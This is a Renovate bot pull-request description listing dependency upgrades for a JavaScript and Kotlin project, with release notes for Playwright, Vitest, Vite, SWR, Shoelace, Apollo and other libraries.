| [playwright](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.49.1` -> `=1.50.1`](https://renovatebot.com/diffs/npm/playwright/1.49.1/1.50.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/playwright/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/playwright/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/playwright/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/playwright/1.49.1/1.50.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [react-email](https://redirect.github.com/resend/react-email) ([source](https://redirect.github.com/resend/react-email/tree/HEAD/packages/react-email)) | [`3.0.4` -> `3.0.6`](https://renovatebot.com/diffs/npm/react-email/3.0.4/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-email/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-email/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-email/3.0.4/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-email/3.0.4/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [swr](https://swr.vercel.app) ([source](https://redirect.github.com/vercel/swr)) | [`2.3.0` -> `2.3.2`](https://renovatebot.com/diffs/npm/swr/2.3.0/2.3.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/swr/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/swr/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/swr/2.3.0/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/swr/2.3.0/2.3.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.9` -> `6.1.0`](https://renovatebot.com/diffs/npm/vite/6.0.9/6.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.9/6.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.9/6.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | minor |
| [com.apollographql.apollo](https://redirect.github.com/apollographql/apollo-kotlin) | `4.1.0` -> `4.1.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.apollographql.apollo:com.apollographql.apollo.gradle.plugin/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.apollographql.apollo:com.apollographql.apollo.gradle.plugin/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.apollographql.apollo:com.apollographql.apollo.gradle.plugin/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.apollographql.apollo:com.apollographql.apollo.gradle.plugin/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | plugin | patch |
| [com.apollographql.apollo:apollo-api](https://redirect.github.com/apollographql/apollo-kotlin) | `4.1.0` -> `4.1.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.apollographql.apollo:apollo-api/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.apollographql.apollo:apollo-api/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.apollographql.apollo:apollo-api/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.apollographql.apollo:apollo-api/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [com.apollographql.apollo:apollo-runtime](https://redirect.github.com/apollographql/apollo-kotlin) | `4.1.0` -> `4.1.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.apollographql.apollo:apollo-runtime/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.apollographql.apollo:apollo-runtime/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.apollographql.apollo:apollo-runtime/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.apollographql.apollo:apollo-runtime/4.1.0/4.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [org.jetbrains.kotlin.jvm](https://kotlinlang.org/) ([source](https://redirect.github.com/JetBrains/kotlin)) | `2.1.0` -> `2.1.10` | [![age](https://developer.mend.io/api/mc/badges/age/maven/org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin/2.1.0/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin/2.1.0/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | plugin | patch |
| [org.jetbrains.kotlin.android](https://kotlinlang.org/) ([source](https://redirect.github.com/JetBrains/kotlin)) | `2.1.0` -> `2.1.10` | [![age](https://developer.mend.io/api/mc/badges/age/maven/org.jetbrains.kotlin.android:org.jetbrains.kotlin.android.gradle.plugin/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/org.jetbrains.kotlin.android:org.jetbrains.kotlin.android.gradle.plugin/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/org.jetbrains.kotlin.android:org.jetbrains.kotlin.android.gradle.plugin/2.1.0/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/org.jetbrains.kotlin.android:org.jetbrains.kotlin.android.gradle.plugin/2.1.0/2.1.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | plugin | patch |

---

### Release Notes

<details>
<summary>natemoo-re/clack (@&#8203;clack/prompts)</summary>

### [`v0.10.0`](https://redirect.github.com/natemoo-re/clack/blob/HEAD/packages/prompts/CHANGELOG.md#0100)

[Compare Source](https://redirect.github.com/natemoo-re/clack/compare/@clack/prompts@0.9.1...@clack/prompts@0.10.0)

##### Minor Changes

-   [`613179d`](https://redirect.github.com/natemoo-re/clack/commit/613179d): Adds a new `indicator` option to `spinner`, which supports the original `"dots"` loading animation or a new `"timer"` loading animation.

    ```ts
    import * as p from "@&#8203;clack/prompts";

    const spin = p.spinner({ indicator: "timer" });
    spin.start("Loading");
    await sleep(3000);
    spin.stop("Loaded");
    ```

-   [`a38b2bc`](https://redirect.github.com/natemoo-re/clack/commit/a38b2bc): Adds `stream` API which provides the same methods as `log`, but for iterable (even async) message streams. This is particularly useful for AI responses which are dynamically generated by LLMs.

    ```ts
    import * as p from "@&#8203;clack/prompts";

    await p.stream.step(
      (async function* () {
        yield* generateLLMResponse(question);
      })()
    );
    ```

</details>

<details>
<summary>dotansimha/graphql-code-generator (@&#8203;graphql-codegen/cli)</summary>

### [`v5.0.4`](https://redirect.github.com/dotansimha/graphql-code-generator/blob/HEAD/packages/graphql-codegen-cli/CHANGELOG.md#504)

[Compare Source](https://redirect.github.com/dotansimha/graphql-code-generator/compare/@graphql-codegen/cli@5.0.3...@graphql-codegen/cli@5.0.4)

##### Patch Changes

-   [#&#8203;10248](https://redirect.github.com/dotansimha/graphql-code-generator/pull/10248) [`72eb86f`](https://redirect.github.com/dotansimha/graphql-code-generator/commit/72eb86f49bd86da6308d80f9401bcc09478ca886) Thanks [@&#8203;renovate](https://redirect.github.com/apps/renovate)! - dependencies updates:

    -   Updated dependency [`@whatwg-node/fetch@^0.10.0` ↗︎](https://www.npmjs.com/package/@&#8203;whatwg-node/fetch/v/0.10.0) (from `^0.9.20`, in `dependencies`)

-   [#&#8203;10227](https://redirect.github.com/dotansimha/graphql-code-generator/pull/10227) [`6f1741a`](https://redirect.github.com/dotansimha/graphql-code-generator/commit/6f1741af03689f8146178637ecabec18347e9331) Thanks [@&#8203;eddeee888](https://redirect.github.com/eddeee888)! - Fix schema pointers type to allow an array of pointers

-   Updated dependencies \[[`8737dd8`](https://redirect.github.com/dotansimha/graphql-code-generator/commit/8737dd86b4ce3d14234a515fa494736bf7ec35dd), [`ed71811`](https://redirect.github.com/dotansimha/graphql-code-generator/commit/ed71811ace083be61c575609e361c629ed7c1740)]:
    -   [@&#8203;graphql-codegen/client-preset](https://redirect.github.com/graphql-codegen/client-preset)[@&#8203;4](https://redirect.github.com/4).6.0

</details>

<details>
<summary>napi-rs/napi-rs (@&#8203;napi-rs/cli)</summary>

### [`v3.0.0-alpha.70`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.69...@napi-rs/cli@3.0.0-alpha.70)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.69...@napi-rs/cli@3.0.0-alpha.70)

### [`v3.0.0-alpha.69`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.68...@napi-rs/cli@3.0.0-alpha.69)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.68...@napi-rs/cli@3.0.0-alpha.69)

</details>

<details>
<summary>microsoft/playwright (@&#8203;playwright/test)</summary>

### [`v1.50.1`](https://redirect.github.com/microsoft/playwright/compare/v1.50.0...dbc685ca98bf937a318f36b0de9ed6e48dac2db5)

[Compare Source](https://redirect.github.com/microsoft/playwright/compare/v1.50.0...v1.50.1)

### [`v1.50.0`](https://redirect.github.com/microsoft/playwright/releases/tag/v1.50.0)

[Compare Source](https://redirect.github.com/microsoft/playwright/compare/v1.49.1...v1.50.0)

#### Test runner

-   New option [`timeout`](https://playwright.dev/docs/api/class-test#test-step-option-timeout) allows specifying a maximum run time for an individual test step. A timed-out step will fail the execution of the test.

    ```js
    test('some test', async ({ page }) => {
      await test.step('a step', async () => {
        // This step can time out separately from the test
      }, { timeout: 1000 });
    });
    ```

-   New method [test.step.skip()](https://playwright.dev/docs/api/class-test#test-step-skip) to disable execution of a test step.

    ```js
    test('some test', async ({ page }) => {
      await test.step('before running step', async () => {
        // Normal step
      });

      await test.step.skip('not yet ready', async () => {
        // This step is skipped
      });

      await test.step('after running step', async () => {
        // This step still runs even though the previous one was skipped
      });
    });
    ```

-   Expanded [expect(locator).toMatchAriaSnapshot()](https://playwright.dev/docs/api/class-locatorassertions#locator-assertions-to-match-aria-snapshot-2) to allow storing of aria snapshots in separate YAML files.

-   Added method [expect(locator).toHaveAccessibleErrorMessage()](https://playwright.dev/docs/api/class-locatorassertions#locator-assertions-to-have-accessible-error-message) to assert the Locator points to an element with a given [aria errormessage](https://w3c.github.io/aria/#aria-errormessage).

-   Option [testConfig.updateSnapshots](https://playwright.dev/docs/api/class-testconfig#test-config-update-snapshots) added the configuration enum `changed`. `changed` updates only the snapshots that have changed, whereas `all` now updates all snapshots, regardless of whether there are any differences.

-   New option [testConfig.updateSourceMethod](https://playwright.dev/docs/api/class-testconfig#test-config-update-source-method) defines the way source code is updated when [testConfig.updateSnapshots](https://playwright.dev/docs/api/class-testconfig#test-config-update-snapshots) is configured. Added `overwrite` and `3-way` modes that write the changes into source code, on top of existing `patch` mode that creates a patch file.

    ```bash
    npx playwright test --update-snapshots=changed --update-source-method=3way
    ```

-   Option [testConfig.webServer](https://playwright.dev/docs/api/class-testconfig#test-config-web-server) added a `gracefulShutdown` field for specifying a process kill signal other than the default `SIGKILL`.

-   Exposed [testStep.attachments](https://playwright.dev/docs/api/class-teststep#test-step-attachments) from the reporter API to allow retrieval of all attachments created by that step.

#### UI updates

-   Updated default HTML reporter to improve display of attachments.
-   New button for picking elements to produce aria snapshots.
-   Additional details (such as keys pressed) are now displayed alongside action API calls in traces.
-   Display of `canvas` content in traces is error-prone. Display is now disabled by default, and can be enabled via the `Display canvas content` UI setting.
-   `Call` and `Network` panels now display additional time information.

#### Breaking

-   [expect(locator).toBeEditable()](https://playwright.dev/docs/api/class-locatorassertions#locator-assertions-to-be-editable) and [locator.isEditable()](https://playwright.dev/docs/api/class-locator#locator-is-editable) now throw if the target element is not `<input>`, `<select>`, or a number of other editable elements.
-   Option [testConfig.updateSnapshots](https://playwright.dev/docs/api/class-testconfig#test-config-update-snapshots) now updates all snapshots when set to `all`, rather than only the failed/changed snapshots. Use the new enum `changed` to keep the old functionality of only updating the changed snapshots.

#### Browser Versions

-   Chromium 133.0.6943.16
-   Mozilla Firefox 134.0
-   WebKit 18.2

This version was also tested against the following stable channels:

-   Google Chrome 132
-   Microsoft Edge 132

</details>

<details>
<summary>shoelace-style/shoelace (@&#8203;shoelace-style/shoelace)</summary>

### [`v2.20.0`](https://redirect.github.com/shoelace-style/shoelace/releases/tag/v2.20.0)

[Compare Source](https://redirect.github.com/shoelace-style/shoelace/compare/v2.19.1...v2.20.0)

#### Commits

-   [`7fd18d1`](https://redirect.github.com/shoelace-style/shoelace/commit/7fd18d1): Modify ja.ts ([#&#8203;2329](https://redirect.github.com/shoelace-style/shoelace/issues/2329)) (jz5) [#&#8203;2329](https://redirect.github.com/shoelace-style/shoelace/pull/2329)
-   [`c16c533`](https://redirect.github.com/shoelace-style/shoelace/commit/c16c533): update changelog (Cory LaViska)
-   [`7f88bb3`](https://redirect.github.com/shoelace-style/shoelace/commit/7f88bb3): Svelte documentation: adding Two-way Binding example in <sl-select> ([#&#8203;2327](https://redirect.github.com/shoelace-style/shoelace/issues/2327)) (Emanuel Saramago) [#&#8203;2327](https://redirect.github.com/shoelace-style/shoelace/pull/2327)
-   [`b5e82d6`](https://redirect.github.com/shoelace-style/shoelace/commit/b5e82d6): update docs (Cory LaViska)
-   [`81e94f2`](https://redirect.github.com/shoelace-style/shoelace/commit/81e94f2): Only trigger defaultslotchange of select after initialization ([#&#8203;2318](https://redirect.github.com/shoelace-style/shoelace/issues/2318)) (Susanne Kirchner) [#&#8203;2318](https://redirect.github.com/shoelace-style/shoelace/pull/2318)
-   [`f0c93d0`](https://redirect.github.com/shoelace-style/shoelace/commit/f0c93d0): update changelog (Cory LaViska)
-   [`6761fdc`](https://redirect.github.com/shoelace-style/shoelace/commit/6761fdc): Merge branch 'next' of https://github.com/shoelace-style/shoelace into next (Cory LaViska)
-   [`b0399ca`](https://redirect.github.com/shoelace-style/shoelace/commit/b0399ca): fix tabbable for radios ([#&#8203;2357](https://redirect.github.com/shoelace-style/shoelace/issues/2357)) (Konnor Rogers) [#&#8203;2357](https://redirect.github.com/shoelace-style/shoelace/pull/2357)
-   [`372ba1f`](https://redirect.github.com/shoelace-style/shoelace/commit/372ba1f): fix ssr for sl-alert and scrollend-polyfill ([#&#8203;2359](https://redirect.github.com/shoelace-style/shoelace/issues/2359)) (Christian Schilling) [#&#8203;2359](https://redirect.github.com/shoelace-style/shoelace/pull/2359)
-   [`69cf94b`](https://redirect.github.com/shoelace-style/shoelace/commit/69cf94b): Explain why dividers don't show if you use TailwindCSS and add a workaround. ([#&#8203;2356](https://redirect.github.com/shoelace-style/shoelace/issues/2356)) (Marcus) [#&#8203;2356](https://redirect.github.com/shoelace-style/shoelace/pull/2356)
-   [`b5f308c`](https://redirect.github.com/shoelace-style/shoelace/commit/b5f308c): move to section (Cory LaViska)
-   [`cb6460c`](https://redirect.github.com/shoelace-style/shoelace/commit/cb6460c): update action (Cory LaViska)
-   [`d93ee89`](https://redirect.github.com/shoelace-style/shoelace/commit/d93ee89): add changelog check (Cory LaViska)
-   [`0bc6d8c`](https://redirect.github.com/shoelace-style/shoelace/commit/0bc6d8c): fix error (Cory LaViska)
-   [`c3b1fb9`](https://redirect.github.com/shoelace-style/shoelace/commit/c3b1fb9): try again (Cory LaViska)
-   [`fce7f7c`](https://redirect.github.com/shoelace-style/shoelace/commit/fce7f7c): fix comment (Cory LaViska)
-   [`afc2b06`](https://redirect.github.com/shoelace-style/shoelace/commit/afc2b06): sigh (Cory LaViska)
-   [`03f8464`](https://redirect.github.com/shoelace-style/shoelace/commit/03f8464): ahem (Cory LaViska)
-   [`471e6cc`](https://redirect.github.com/shoelace-style/shoelace/commit/471e6cc): somebody save me (Cory LaViska)
-   [`c858a3a`](https://redirect.github.com/shoelace-style/shoelace/commit/c858a3a): yaml was a mistake (Cory LaViska)
-   [`5e11687`](https://redirect.github.com/shoelace-style/shoelace/commit/5e11687): save me tarides (Cory LaViska)
-   [`4530ba3`](https://redirect.github.com/shoelace-style/shoelace/commit/4530ba3): welp (Cory LaViska)
-   [`d674577`](https://redirect.github.com/shoelace-style/shoelace/commit/d674577): not today i guess (Cory LaViska)
-   [`ca8a12b`](https://redirect.github.com/shoelace-style/shoelace/commit/ca8a12b): maybe, just maybe (Cory LaViska)
-   [`74dafea`](https://redirect.github.com/shoelace-style/shoelace/commit/74dafea): somebody save me (Cory LaViska)
-   [`39e4557`](https://redirect.github.com/shoelace-style/shoelace/commit/39e4557): ok konnor (Cory LaViska)
-   [`d45e6df`](https://redirect.github.com/shoelace-style/shoelace/commit/d45e6df): revert (Cory LaViska)
-   [`e3b117d`](https://redirect.github.com/shoelace-style/shoelace/commit/e3b117d): i'll get you next time gadget! next time... (Cory LaViska)
-   [`a7aadc9`](https://redirect.github.com/shoelace-style/shoelace/commit/a7aadc9): SlSplitPanel `snap` improvements. ([#&#8203;2340](https://redirect.github.com/shoelace-style/shoelace/issues/2340)) (Auri Collings) [#&#8203;2340](https://redirect.github.com/shoelace-style/shoelace/pull/2340)
-   [`bb8f16a`](https://redirect.github.com/shoelace-style/shoelace/commit/bb8f16a): fix code field (Cory LaViska)
-   [`ee7aa09`](https://redirect.github.com/shoelace-style/shoelace/commit/ee7aa09): update changelog (Cory LaViska)
-   [`ff34da1`](https://redirect.github.com/shoelace-style/shoelace/commit/ff34da1): prettier (Cory LaViska)
-   [`de371b3`](https://redirect.github.com/shoelace-style/shoelace/commit/de371b3): update version (Cory LaViska)
-   [`960de96`](https://redirect.github.com/shoelace-style/shoelace/commit/960de96): 2.20.0 (Cory LaViska)

</details>

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/browser)</summary>

### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

This release includes security patches for:

-   [Remote Code Execution when accessing a malicious website while Vitest API server is listening | CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)

##### 🚀 Features

-   **ui**: Insert message "no tests found" in ui - by [@&#8203;DevJoaoLopes](https://redirect.github.com/DevJoaoLopes) in [https://github.com/vitest-dev/vitest/issues/7366](https://redirect.github.com/vitest-dev/vitest/issues/7366) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd)

##### 🐞 Bug Fixes

-   Validate websocket request - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34)
-   Don't toggle cli cursor on non-TTY - by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7336](https://redirect.github.com/vitest-dev/vitest/issues/7336) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69)
-   **vite-node**: Differentiate file url with hash and query - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa)  in [https://github.com/vitest-dev/vitest/issues/7365](https://redirect.github.com/vitest-dev/vitest/issues/7365) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546)

##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

</details>

<details>
<summary>apollographql/apollo-ios (apollographql/apollo-ios)</summary>

### [`v1.17.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1170)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.16.1...1.17.0)

##### New

-   **Add suffix to schema type filenames ([#&#8203;2598](https://redirect.github.com/apollographql/apollo-ios/issues/2598)):** When fragments were named the same as schema types code generation would produce two files with the same name, but at different paths, for each respective type. This would cause a build error in Xcode. There is a new codegen configuration option (`appendSchemaTypeFilenameSuffix`) to add a suffix to schema generated filenames and prevent the build error. See PR [#&#8203;580](https://redirect.github.com/apollographql/apollo-ios-dev/pull/580).
-   **Specify caching fields with `typePolicy` directive ([#&#8203;554](https://redirect.github.com/apollographql/apollo-ios-dev/pull/554)):** The `@typePolicy` directive lets you specify an object's cache ID using key fields of the response object. See the [documentation](https://www.apollographql.com/docs/ios/caching/cache-key-resolution#the-typepolicy-directive) for full details. *Thank you to [@&#8203;x-sheep](https://redirect.github.com/x-sheep) for the contribution.*
-   **Emit `Identifiable` conformance on `SelectionSet` ([#&#8203;584](https://redirect.github.com/apollographql/apollo-ios-dev/pull/584)):** If the `@typePolicy` of a type uses a `keyField` of `id` the selection set will emit conformance to Swifts [`Identifiable` protocol](https://developer.apple.com/documentation/swift/identifiable). *Thank you to [@&#8203;x-sheep](https://redirect.github.com/x-sheep) for the contribution.*

##### Improvement

-   **Improved performance of code generation on operations with many nested fragments ([#&#8203;3434](https://redirect.github.com/apollographql/apollo-ios/issues/3434)):** When fragment field merging is disabled the fragment selection trees are no longer merged into the `EntitySelectionSet` while building operations. See PR [#&#8203;571](https://redirect.github.com/apollographql/apollo-ios-dev/pull/571).

##### Fixed

-   **Defer metadata extension ([#&#8203;3505](https://redirect.github.com/apollographql/apollo-ios/issues/3503)):** Metadata extensions for deferred selection sets were incorrectly generated inside the namespace extension for `embeddedInTarget` and `other` module types. See PR [#&#8203;581](https://redirect.github.com/apollographql/apollo-ios-dev/pull/581).
-   **`DataDict` initialization of `deferredFragments` for named fragments ([#&#8203;587](https://redirect.github.com/apollographql/apollo-ios-dev/pull/587)):** When deferred fragments are named fragments the deferred type should be the fragment generated definition name.

### [`v1.16.1`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1161)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.16.0...1.16.1)

##### Fixed

-   **Web socket data race crash fixed ([#&#8203;578](https://redirect.github.com/apollographql/apollo-ios-dev/pull/578)):** A data race in the web socket layer was causing crashes in some rare circumstances.

-   **Added support for GraphQL over HTTP media type([#&#8203;558](https://redirect.github.com/apollographql/apollo-ios-dev/pull/558)):** Apollo iOS now supports the `content-type` header with a type of `application/graphql-response+json`.

</details>

<details>
<summary>gradle/gradle (gradle)</summary>

### [`v8.12.1`](https://redirect.github.com/gradle/gradle/compare/v8.12.0...v8.12.1)

[Compare Source](https://redirect.github.com/gradle/gradle/compare/v8.12.0...v8.12.1)

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.474.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.474.0): New icons 0.474.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.473.0...0.474.0)

##### Modified Icons 🔨

-   `expand` ([#&#8203;2677](https://redirect.github.com/lucide-icons/lucide/issues/2677)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)

</details>

<details>
<summary>nodejs/node (node)</summary>

### [`v22.13.1`](https://redirect.github.com/nodejs/node/compare/v22.13.0...v22.13.1)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.13.0...v22.13.1)

</details>

<details>
<summary>resend/react-email (react-email)</summary>

### [`v3.0.6`](https://redirect.github.com/resend/react-email/blob/HEAD/packages/react-email/CHANGELOG.md#306)

[Compare Source](https://redirect.github.com/resend/react-email/compare/react-email@3.0.5...react-email@3.0.6)

##### Patch Changes

-   [`c6fcd94`](https://redirect.github.com/resend/react-email/commit/c6fcd94): Fix preview server crashing without React 19

### [`v3.0.5`](https://redirect.github.com/resend/react-email/blob/HEAD/packages/react-email/CHANGELOG.md#305)

[Compare Source](https://redirect.github.com/resend/react-email/compare/react-email@3.0.4...react-email@3.0.5)

##### Patch Changes

-   [`7337d04`](https://redirect.github.com/resend/react-email/commit/7337d04): Fix emails being re-rendered each time there is navigation in the preview server

</details>

<details>
<summary>vercel/swr (swr)</summary>

### [`v2.3.2`](https://redirect.github.com/vercel/swr/compare/v2.3.1...v2.3.2)

[Compare Source](https://redirect.github.com/vercel/swr/compare/v2.3.1...v2.3.2)

### [`v2.3.1`](https://redirect.github.com/vercel/swr/releases/tag/v2.3.1)

[Compare Source](https://redirect.github.com/vercel/swr/compare/v2.3.0...v2.3.1)

##### Fixes

-   fix: missing `throwOnError` in SWRMutationHook options by [@&#8203;Ram4GB](https://redirect.github.com/Ram4GB) in [https://github.com/vercel/swr/pull/3054](https://redirect.github.com/vercel/swr/pull/3054)
-   fix: sever env detection for deno by [@&#8203;elrrrrrrr](https://redirect.github.com/elrrrrrrr) in [https://github.com/vercel/swr/pull/4064](https://redirect.github.com/vercel/swr/pull/4064)
-   keepPreviousData: return fallback instead of undefined value by [@&#8203;dvoytenko](https://redirect.github.com/dvoytenko) in [https://github.com/vercel/swr/pull/4084](https://redirect.github.com/vercel/swr/pull/4084)

##### Misc

-   ci: update pnpm setup and lock pnpm vesion by [@&#8203;huozhi](https://redirect.github.com/huozhi) in [https://github.com/vercel/swr/pull/4085](https://redirect.github.com/vercel/swr/pull/4085)
-   build: bump bundler by [@&#8203;huozhi](https://redirect.github.com/huozhi) in [https://github.com/vercel/swr/pull/4086](https://redirect.github.com/vercel/swr/pull/4086)
-   refactor: type improvement of `useSWRHandler` by [@&#8203;samuel871211](https://redirect.github.com/samuel871211) in [https://github.com/vercel/swr/pull/4075](https://redirect.github.com/vercel/swr/pull/4075)

#### New Contributors

-   [@&#8203;Ram4GB](https://redirect.github.com/Ram4GB) made their first contribution in [https://github.com/vercel/swr/pull/3054](https://redirect.github.com/vercel/swr/pull/3054)
-   [@&#8203;elrrrrrrr](https://redirect.github.com/elrrrrrrr) made their first contribution in [https://github.com/vercel/swr/pull/4064](https://redirect.github.com/vercel/swr/pull/4064)
-   [@&#8203;dvoytenko](https://redirect.github.com/dvoytenko) made their first contribution in [https://github.com/vercel/swr/pull/4084](https://redirect.github.com/vercel/swr/pull/4084)
-   [@&#8203;samuel871211](https://redirect.github.com/samuel871211) made their first contribution in [https://github.com/vercel/swr/pull/4075](https://redirect.github.com/vercel/swr/pull/4075)

**Full Changelog**: https://github.com/vercel/swr/compare/v2.3.0...v2.3.1

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v6.1.0`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#610-2025-02-05)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.11...v6.1.0)

-   refactor: deprecate `vite optimize` command ([#&#8203;19348](https://redirect.github.com/vitejs/vite/issues/19348)) ([6e0e3c0](https://redirect.github.com/vitejs/vite/commit/6e0e3c0b990f1132db923e4599e18b270baa3a93)), closes [#&#8203;19348](https://redirect.github.com/vitejs/vite/issues/19348)
-   feat: show hosts in cert in CLI ([#&#8203;19317](https://redirect.github.com/vitejs/vite/issues/19317)) ([a5e306f](https://redirect.github.com/vitejs/vite/commit/a5e306f2fc34fc70d543028c319367ff9b232ea0)), closes [#&#8203;19317](https://redirect.github.com/vitejs/vite/issues/19317)
-   feat: support for env var for defining allowed hosts ([#&#8203;19325](https://redirect.github.com/vitejs/vite/issues/19325)) ([4d88f6c](https://redirect.github.com/vitejs/vite/commit/4d88f6c9391f96275b1359f1343ee2ec3e1adb7b)), closes [#&#8203;19325](https://redirect.github.com/vitejs/vite/issues/19325)
